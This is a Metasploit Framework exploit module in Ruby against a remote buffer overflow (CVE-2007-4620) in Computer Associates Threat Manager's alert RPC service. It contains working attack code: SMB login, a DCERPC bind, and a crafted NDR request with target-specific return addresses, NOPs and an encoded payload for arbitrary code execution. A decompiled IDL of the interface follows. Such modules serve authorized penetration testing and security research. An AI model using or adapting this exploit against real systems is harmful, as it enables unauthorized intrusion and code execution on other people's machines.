metasploit-framework/modules/exploits/windows/brightstor/etrust_itm_alert.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Computer Associates Alert Notification Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Computer Associates Threat Manager for the Enterprise r8.1
        By sending a specially crafted RPC request, an attacker could overflow the buffer and execute arbitrary code.
        In order to successfully exploit this vulnerability, you will need valid logon credentials to the target.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-4620' ],
          [ 'OSVDB', '44040' ],
          [ 'BID', '28605' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 550,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'  =>
        [
          [ 'Windows 2003 SP0 English',	{ 'Offset' => 979, 'Ret' => 0x77e03efb } ],
          [ 'Windows 2000 SP4 English',	{ 'Offset' => 979, 'Ret' => 0x7c30d043 } ],
          [ 'CA BrightStor ARCServe Backup 11.5 / Windows 2000 SP4 English', { 'Offset' => 207, 'Ret' => 0x7c2e7993 } ], # Yin Dehui
        ],
      'DisclosureDate' => 'Apr 4 2008',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('SMBPIPE', [ true,  "The pipe name to use (alert)", 'alert']),
      ], self.class)
  end

  def exploit
    connect()
    smb_login()

    handle = dcerpc_handle('3d742890-397c-11cf-9bf1-00805f88cb72', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
    print_status("Binding to #{handle} ...")

    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    filler =  rand_text_english(target['Offset']) + [target.ret].pack('V') + make_nops(12)
    filler << payload.encoded + rand_text_english(772)

    sploit =  NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.string(filler + "\x00")
    sploit << NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.long(0)

    print_status("Trying target #{target.name}...")

      begin
        dcerpc_call(0x00, sploit)
        rescue Rex::Proto::DCERPC::Exceptions::NoResponse
      end

    handler
    disconnect
  end

end

=begin
/*
 * IDL code generated by mIDA v1.0.8
 * Copyright (C) 2006, Tenable Network Security
 * http://cgi.tenablesecurity.com/tenable/mida.php
 *
 *
 * Decompilation information:
 * RPC stub type: inline
 */

[ uuid(3d742890-397c-11cf-9bf1-00805f88cb72), version(1.0) ]

interface mIDA_interface
{
typedef struct struct_1 {
  long elem_1;
  [size_is(10000), length_is(elem_1)] struct struct_2 * elem_2;
} struct_1 ;

typedef struct struct_2 {
  char elem_1[52];
} struct_2 ;


/* opcode: 0x00, address: 0x00401000 */

long   sub_401000 (
  [in][ref][string] char * arg_1,
  [out][ref] struct struct_1 * arg_2,
  [in][ref][string] char * arg_3
);

}
=end